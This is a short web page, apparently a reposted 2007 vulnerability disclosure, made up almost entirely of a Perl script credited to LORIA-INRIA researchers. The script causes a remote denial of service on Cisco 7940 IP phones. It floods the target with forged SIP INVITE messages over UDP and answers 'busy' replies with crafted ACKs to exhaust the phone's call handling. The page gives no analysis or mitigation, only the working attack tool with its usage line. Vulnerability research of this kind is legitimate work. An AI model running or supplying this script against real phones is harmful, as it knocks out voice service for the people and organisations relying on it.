Cisco Phone 7940 Remote Denial of Service Exploit

    [阴 December 6, 2007 10:00 | by ]
#!/usr/bin/perl
###############################
# Vulnerabily discovered using KiF ~ Kiph
#
# Authors:

# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
#
# Madynes Team, LORIA - INRIA Lorraine
# http://madynes.loria.fr
###############################
use IO::Socket::INET;
use String::Random;
die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
unless ($ARGV[3]);
$targetUser = $ARGV[1];
$targetIP = $ARGV[0];
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[2];
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>5060,
PeerAddr=>$targetIP,
LocalPort=>5060);
$foo = new String::Random;
$flag = 0;
@calls;
$threads = 0;
while ($flag == 0){
$callid= " " . $foo->randpattern("CCCnccnC") ."\@$attackerIP";
$cseq = $foo->randregex('\d\d\d\d');
$msg = "INVITE sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>\r
Call-ID:$callid\r
CSeq: $cseq INVITE\r
Max-Forwards: 70\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGE\r
Content-Length: 0\r
\r
";
$socket->send($msg);
$socket->recv($text,1024,0);
if ($text =~ /^SIP\/2.0 100(.\r\n)*/ ){
push(@calls, $callid);
sleep(1);
}elsif ($text =~ /^SIP\/2.0 486(.\r\n)*/ ){
if ($thread == 0){
$thread = scalar(@calls);
}
while (scalar(@calls) ge $thread){
$toTag = $cseq= $callid= $text;
$toTag =~ s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/;

$callid =~ s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/;
$cseq =~ s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/;
$msg = "ACK sip:$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$targetUser\@$targetIP>$toTag\r
Call-ID:$callid\r
CSeq: $cseq ACK\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Content-Length: 0\r
\r
";
$socket->send($msg);
$i= 0;
while ($i < scalar(@calls)){
if (@calls[$i] eq $callid){
delete @calls[$i];
}else{
$i += 1;
}
}
if (scalar(@calls) ge $thread){
$socket->recv($text,1024,0);
}
}
}
}
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